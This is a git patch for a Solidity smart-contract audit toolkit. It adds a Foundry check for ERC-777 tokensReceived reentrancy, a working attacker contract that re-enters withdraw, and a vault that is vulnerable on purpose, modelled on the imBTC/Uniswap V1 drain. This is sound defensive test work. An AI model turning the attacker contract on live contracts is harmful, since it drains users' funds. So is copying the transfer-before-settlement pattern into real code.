From b30edd736b744efc5a4c16d8b1b7d25ffc89fd8e Mon Sep 17 00:00:00 2001 From: Abhishek Krishna Date: Tue, 19 May 2026 21:48:56 +0530 Subject: [PATCH] feat(checks): ERC-777 reentrancy via tokensReceived hook (closes #19) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds a check + vulnerable fixture for the ERC-777 tokensReceived reentrancy class — the same vulnerability that drained imBTC and Uniswap V1 in April 2020 ($340K) and several smaller venues since. The bug class is identical to classic ETH reentrancy, but routes through the ERC-777 recipient hook instead of receive(). Tools that look only for low-level receive() callbacks miss it. New files: - src/checks/ERC777ReentrancyCheck.sol — abstract check + attacker - src/examples/VulnerableERC777Vault.sol — fixture: mock ERC-777 token (hook-on-transfer) + vault that pays out before settling - test/ERC777Reentrancy.t.sol — example wiring (excluded from CI forge test per ci.yml --no-match-contract '^(Example|...)'; this is a demo, not an invariant — drained-balance > deposit triggers fail() so the run surfaces the bug) Override hooks parallel ReentrancyCheck.sol: getWithdrawCalldata() / getERC777Token() / getDepositValue() / performDeposit(address, uint256) --- README.md | 2 + src/checks/ERC777ReentrancyCheck.sol | 91 ++++++++++++++++++++++++++ src/examples/VulnerableERC777Vault.sol | 86 ++++++++++++++++++++++++ test/ERC777Reentrancy.t.sol | 36 ++++++++++ 4 files changed, 215 insertions(+) create mode 100644 src/checks/ERC777ReentrancyCheck.sol create mode 100644 src/examples/VulnerableERC777Vault.sol create mode 100644 test/ERC777Reentrancy.t.sol diff --git a/README.md b/README.md index 885331f..a13c2e4 100644 --- a/README.md +++ b/README.md @@ -160,6 +160,7 @@ or open [`web/index.html`](web/index.html) directly. | Check | What it detects | |-------|----------------| | `ReentrancyCheck` | Checks-effects-interactions violations, cross-function reentrancy via callbacks | +| `ERC777ReentrancyCheck` | Reentrancy via `tokensReceived` recipient hook (imBTC / Uniswap V1 class, 2020) | | `AccessControlCheck` | Unprotected admin functions, unguarded initializers, missing role checks | | `OracleCheck` | Spot price reads (manipulable), missing TWAP, single-source oracles | | `UpgradeCheck` | Storage layout collisions in proxies, uninitialized implementation contracts | @@ -172,6 +173,7 @@ src/ ├── ChecklistBase.sol — Base contract with shared test helpers ├── checks/ │ ├── ReentrancyCheck.sol — Reentrancy detection tests +│ ├── ERC777ReentrancyCheck.sol — ERC-777 tokensReceived reentrancy │ ├── AccessControlCheck.sol — Access control verification │ ├── OracleCheck.sol — Oracle manipulation checks │ ├── UpgradeCheck.sol — Proxy upgrade safety diff --git a/src/checks/ERC777ReentrancyCheck.sol b/src/checks/ERC777ReentrancyCheck.sol new file mode 100644 index 0000000..2a98d99 --- /dev/null +++ b/src/checks/ERC777ReentrancyCheck.sol @@ -0,0 +1,91 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.24; + +import "../ChecklistBase.sol"; +import "../examples/VulnerableERC777Vault.sol"; + +/// @title ERC777ReentrancyCheck — detect reentrancy via ERC-777 tokensReceived +/// @notice The same vulnerability class that drained imBTC/Uniswap V1 in 2020. +/// If the contract under audit moves ERC-777 tokens to a recipient +/// before settling its own accounting, a malicious recipient can +/// re-enter the call via `tokensReceived` and drain funds. +/// +/// Override the protocol hooks below to point this check at your +/// contract: `getWithdrawCalldata`, `performDeposit`, and +/// `getERC777Token` (so the attacker uses the right token's hook). +/// @author kcolbchain +abstract contract ERC777ReentrancyCheck is ChecklistBase { + /// @dev Calldata that triggers a withdrawal/transfer-out from the target + function getWithdrawCalldata() internal view virtual returns (bytes memory); + + /// @dev The ERC-777-like token whose tokensReceived hook is exploited. + /// Must be a MockERC777Token (or any token routing tokensReceived). + function getERC777Token() internal view virtual returns (MockERC777Token); + + /// @dev Amount deposited by the attacker for the test + function getDepositValue() internal view virtual returns (uint256) { + return 1 ether; + } + + /// @dev Perform a deposit as `depositor` of `amount`. Override to match + /// your target's deposit flow (approve+pull, push, etc.). + function performDeposit(address depositor, uint256 amount) internal virtual; + + function test_erc777_reentrancy_on_withdraw() public { + bytes memory withdrawCall = getWithdrawCalldata(); + MockERC777Token token = getERC777Token(); + uint256 amount = getDepositValue(); + + ERC777ReentrantAttacker attacker = + new ERC777ReentrantAttacker(targetContract, withdrawCall); + + // Fund vault with enough tokens that a reentered withdraw can drain + // more than the attacker deposited. + token.mint(targetContract, amount * 3); + + // Attacker deposit. performDeposit must credit deposits[attacker] = amount. + performDeposit(address(attacker), amount); + + uint256 attackerBalBefore = token.balanceOf(address(attacker)); + attacker.attack(); + uint256 attackerBalAfter = token.balanceOf(address(attacker)); + + uint256 extracted = attackerBalAfter - attackerBalBefore; + + if (extracted > amount) { + emit log_named_uint( + unicode"VULNERABILITY: ERC-777 reentrancy drained extra tokens (wei)", + extracted - amount + ); + fail(); + } + } +} + +/// @dev Attacker contract. Re-enters `withdraw` via the tokensReceived hook. +contract ERC777ReentrantAttacker is IERC777Recipient { + address public target; + bytes public payload; + uint256 public reentries; + uint256 public maxReentries = 2; + + constructor(address _target, bytes memory _payload) { + target = _target; + payload = _payload; + } + + function attack() external { + (bool ok,) = target.call(payload); + ok; + } + + function tokensReceived( + address, address, address, uint256, bytes calldata, bytes calldata + ) external override { + if (reentries < maxReentries) { + reentries++; + (bool ok,) = target.call(payload); + ok; // ignore — the test asserts via final balance, not call success + } + } +} diff --git a/src/examples/VulnerableERC777Vault.sol b/src/examples/VulnerableERC777Vault.sol new file mode 100644 index 0000000..2757d18 --- /dev/null +++ b/src/examples/VulnerableERC777Vault.sol @@ -0,0 +1,86 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.24; + +/// @title VulnerableERC777Vault — intentionally vulnerable for demonstration +/// @notice DO NOT USE IN PRODUCTION. Mirrors the 2020 imBTC/Uniswap V1 drain +/// pattern: ERC-777 hook fires before balance state is settled, so a +/// malicious recipient can re-enter withdraw via tokensReceived. +/// @author kcolbchain +interface IERC777Recipient { + function tokensReceived( + address operator, + address from, + address to, + uint256 amount, + bytes calldata userData, + bytes calldata operatorData + ) external; +} + +/// @dev Minimal ERC-777-like token. Real ERC-777 routes tokensReceived via +/// the ERC-1820 registry; for the test fixture we hard-call the hook on +/// any contract recipient. The semantics that matter for the bug class +/// (recipient hook before settlement) are identical. +contract MockERC777Token { + mapping(address => uint256) public balanceOf; + string public name = "Mock 777"; + string public symbol = "M777"; + + function mint(address to, uint256 amount) external { + balanceOf[to] += amount; + } + + /// @dev Transfer with the ERC-777 recipient hook. If `to` is a contract, + /// its `tokensReceived` is called *before* this function returns, + /// but *after* the transfer is reflected in `balanceOf` — which is + /// the standard ERC-777 behavior. + function transfer(address to, uint256 amount) public returns (bool) { + require(balanceOf[msg.sender] >= amount, "insufficient"); + balanceOf[msg.sender] -= amount; + balanceOf[to] += amount; + + if (_isContract(to)) { + IERC777Recipient(to).tokensReceived( + msg.sender, msg.sender, to, amount, "", "" + ); + } + return true; + } + + function _isContract(address a) private view returns (bool) { + return a.code.length > 0; + } +} + +/// @notice Holds ERC-777 tokens for users. Pays out before zeroing the +/// internal accounting — classic reentrancy via tokensReceived. +contract VulnerableERC777Vault { + MockERC777Token public immutable token; + mapping(address => uint256) public deposits; + + constructor(address tokenAddr) { + token = MockERC777Token(tokenAddr); + } + + /// @dev Fixture-style deposit: mints tokens straight to the vault and + /// credits the depositor. Production vaults would pull tokens via + /// approve+transferFrom or push semantics — the bug class is the + /// same either way (state ordering in `withdraw`). + function deposit(uint256 amount) external { + token.mint(address(this), amount); + deposits[msg.sender] += amount; + } + + /// @dev BUG: transfer (which fires tokensReceived) happens BEFORE the + /// `deposits[msg.sender] = 0` write. An attacker contract whose + /// `tokensReceived` re-enters `withdraw()` drains the vault. + function withdraw() external { + uint256 owed = deposits[msg.sender]; + require(owed > 0, "no deposit"); + + // External call (with hook) BEFORE state update — vulnerable. + token.transfer(msg.sender, owed); + + deposits[msg.sender] = 0; // Too late — attacker already re-entered. + } +} diff --git a/test/ERC777Reentrancy.t.sol b/test/ERC777Reentrancy.t.sol new file mode 100644 index 0000000..4200a12 --- /dev/null +++ b/test/ERC777Reentrancy.t.sol @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.24; + +import "forge-std/Test.sol"; +import "../src/checks/ERC777ReentrancyCheck.sol"; +import "../src/examples/VulnerableERC777Vault.sol"; + +/// @title ExampleERC777ReentrancyAudit — demonstrates ERC777ReentrancyCheck +/// against VulnerableERC777Vault. The check must flag the vault as +/// vulnerable. +/// @notice Run with: forge test --match-contract ExampleERC777ReentrancyAudit -vvv +contract ExampleERC777ReentrancyAudit is ERC777ReentrancyCheck { + MockERC777Token token; + VulnerableERC777Vault vault; + + function setUp() public { + token = new MockERC777Token(); + vault = new VulnerableERC777Vault(address(token)); + targetContract = address(vault); + } + + function getWithdrawCalldata() internal pure override returns (bytes memory) { + return abi.encodeWithSignature("withdraw()"); + } + + function getERC777Token() internal view override returns (MockERC777Token) { + return token; + } + + function performDeposit(address depositor, uint256 amount) internal override { + // VulnerableERC777Vault.deposit mints-then-credits for the fixture. + // Real targets typically pull tokens — override there. + vm.prank(depositor); + vault.deposit(amount); + } +}